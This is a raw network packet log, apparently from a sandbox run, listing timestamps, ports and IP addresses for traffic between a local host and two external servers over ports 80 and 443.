Dec 8, 2024 00:48:44.308640003 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:44.368685961 CET	443	49795	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:44.371675968 CET	49795	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:44.371697903 CET	443	49795	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:44.372139931 CET	49795	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:44.372147083 CET	443	49795	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:44.568283081 CET	443	49798	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:44.568696022 CET	49798	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:44.568706989 CET	443	49798	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:44.568753004 CET	443	49796	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:44.568789005 CET	443	49799	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:44.568798065 CET	443	49797	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:44.569051027 CET	49796	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:44.569058895 CET	443	49796	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:44.569153070 CET	49798	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:44.569155931 CET	443	49798	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:44.569411993 CET	49799	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:44.569427967 CET	443	49799	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:44.569480896 CET	49796	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:44.569484949 CET	443	49796	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:44.569694042 CET	49797	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:44.569703102 CET	443	49797	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:44.569756031 CET	49799	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:44.569761038 CET	443	49799	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:44.570209026 CET	49797	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:44.570213079 CET	443	49797	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:44.628722906 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:44.628778934 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:44.628833055 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:44.628870964 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:44.629116058 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:44.629154921 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:44.629242897 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:44.629364967 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:44.629729033 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:44.629781008 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:44.629837990 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:44.629874945 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:44.630536079 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:44.630588055 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:44.630623102 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:44.630662918 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:44.631344080 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:44.631484985 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:44.631539106 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:44.632155895 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:44.632200003 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:44.632261038 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:44.632303953 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:44.632971048 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:44.633096933 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:44.633147955 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:44.633769989 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:44.633876085 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:44.633903027 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:44.633960962 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:44.634567976 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:44.634618998 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:44.754007101 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:44.754163027 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:44.754363060 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:44.754477024 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:44.754519939 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:44.754548073 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:44.754590034 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:44.755217075 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:44.755269051 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:44.755342960 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:44.755383015 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:44.756021023 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:44.756063938 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:44.756134987 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:44.756172895 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:44.756880999 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:44.756922007 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:44.756983042 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:44.757019997 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:44.757721901 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:44.757770061 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:44.757785082 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:44.757824898 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:44.758464098 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:44.758503914 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:44.758572102 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:44.758610964 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:44.759279013 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:44.759391069 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:44.759437084 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:44.760087967 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:44.760130882 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:44.760211945 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:44.760256052 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:44.760924101 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:44.760962009 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:44.761010885 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:44.761049986 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:44.761734009 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:44.761847019 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:44.761890888 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:44.762532949 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:44.762593031 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:44.762623072 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:44.762665987 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:44.763345003 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:44.763401031 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:44.763407946 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:44.763442039 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:44.764146090 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:44.764193058 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:44.764251947 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:44.764296055 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:44.764962912 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:44.765005112 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:44.765057087 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:44.765100956 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:44.802381992 CET	443	49795	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:44.802437067 CET	443	49795	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:44.802539110 CET	49795	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:44.802746058 CET	49795	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:44.802752972 CET	443	49795	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:44.802762985 CET	49795	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:44.802772999 CET	443	49795	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:44.805612087 CET	49800	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:44.805650949 CET	443	49800	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:44.805732965 CET	49800	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:44.805903912 CET	49800	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:44.805917978 CET	443	49800	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:44.886655092 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:44.886722088 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:44.886771917 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:44.886816978 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:44.887006044 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:44.887053013 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:44.887104034 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:44.887150049 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:44.887243032 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:44.887290955 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:44.888011932 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:44.888060093 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:44.888228893 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:44.888278961 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:44.888715982 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:44.888761997 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:44.888880968 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:44.888926983 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:44.889000893 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:44.889045954 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:44.889756918 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:44.889807940 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:44.889842987 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:44.889889002 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:44.890595913 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:44.890650034 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:44.890662909 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:44.890707970 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:44.891323090 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:44.891370058 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:44.891424894 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:44.891479969 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:44.892153978 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:44.892200947 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:44.892242908 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:44.892292023 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:44.892941952 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:44.892992973 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:44.893048048 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:44.893126965 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:44.893758059 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:44.893802881 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:44.893872023 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:44.893919945 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:44.894597054 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:44.894644976 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:44.894752979 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:44.894802094 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:44.895375013 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:44.895416975 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:44.895466089 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:44.895510912 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:44.896202087 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:44.896249056 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:44.896318913 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:44.896368027 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:44.896990061 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:44.897037983 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:44.897099972 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:44.897149086 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:44.897793055 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:44.897842884 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:44.897895098 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:44.897943974 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:44.898618937 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:44.898668051 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:44.898727894 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:44.898773909 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:44.899430990 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:44.899482965 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:44.899493933 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:44.899538040 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:45.002402067 CET	443	49799	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:45.002460957 CET	443	49799	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:45.002635002 CET	443	49796	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:45.002684116 CET	443	49796	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:45.002712011 CET	49799	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:45.002734900 CET	49796	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:45.002779961 CET	49799	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:45.002803087 CET	443	49799	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:45.002820969 CET	49799	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:45.002829075 CET	443	49799	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:45.002831936 CET	49796	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:45.002841949 CET	443	49796	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:45.002846003 CET	443	49798	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:45.002964973 CET	443	49798	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:45.003278971 CET	49798	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:45.003309965 CET	443	49797	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:45.003420115 CET	443	49797	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:45.003446102 CET	49798	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:45.003449917 CET	443	49798	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:45.003473997 CET	49797	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:45.003482103 CET	49798	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:45.003487110 CET	443	49798	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:45.004367113 CET	49797	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:45.004374027 CET	443	49797	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:45.004391909 CET	49797	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:45.004395962 CET	443	49797	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:45.005825043 CET	49801	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:45.005863905 CET	443	49801	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:45.005924940 CET	49801	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:45.006061077 CET	49802	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:45.006088972 CET	443	49802	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:45.006141901 CET	49802	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:45.006202936 CET	49801	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:45.006215096 CET	443	49801	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:45.006345987 CET	49802	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:45.006359100 CET	443	49802	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:45.007061958 CET	49803	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:45.007069111 CET	443	49803	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:45.007281065 CET	49804	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:45.007291079 CET	49803	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:45.007319927 CET	443	49804	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:45.007417917 CET	49803	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:45.007428885 CET	443	49803	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:45.007443905 CET	49804	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:45.007600069 CET	49804	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:45.007608891 CET	443	49804	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:45.011045933 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:45.011102915 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:45.011143923 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:45.011182070 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:45.011394024 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:45.011440992 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:45.011512041 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:45.011558056 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:45.011596918 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:45.011637926 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:45.012317896 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:45.012373924 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:45.012388945 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:45.012434959 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:45.012840033 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:45.012892962 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:45.012980938 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:45.013029099 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:45.013683081 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:45.013727903 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:45.013772011 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:45.013818026 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:45.014498949 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:45.014547110 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:45.014585972 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:45.014628887 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:45.015310049 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:45.015372038 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:45.015413046 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:45.015465975 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:45.016225100 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:45.016274929 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:45.016309023 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:45.016352892 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:45.016916037 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:45.016962051 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:45.017040014 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:45.017086983 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:45.017724037 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:45.017802000 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:45.017844915 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:45.017887115 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:45.018547058 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:45.018595934 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:45.018651962 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:45.018712997 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:45.019346952 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:45.019396067 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:45.019444942 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:45.019489050 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:45.020174980 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:45.020222902 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:45.020258904 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:45.020307064 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:45.020982027 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:45.021028042 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:45.021140099 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:45.021186113 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:45.021811008 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:45.021862030 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:45.021933079 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:45.021974087 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:45.022609949 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:45.022660971 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:45.022720098 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:45.022767067 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:45.023384094 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:45.023431063 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:45.023511887 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:45.023560047 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:45.024233103 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:45.024280071 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:45.135591984 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:45.135658979 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:45.135669947 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:45.135704994 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:45.136065960 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:45.136112928 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:45.136193037 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:45.136239052 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:45.136804104 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:45.136850119 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:45.136935949 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:45.136980057 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:45.137607098 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:45.137660027 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:45.137880087 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:45.137924910 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:45.137969017 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:45.138010025 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:45.138674021 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:45.138720036 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:45.138757944 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:45.138806105 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:45.139496088 CET	80	49784	185.215.113.206	192.168.2.7
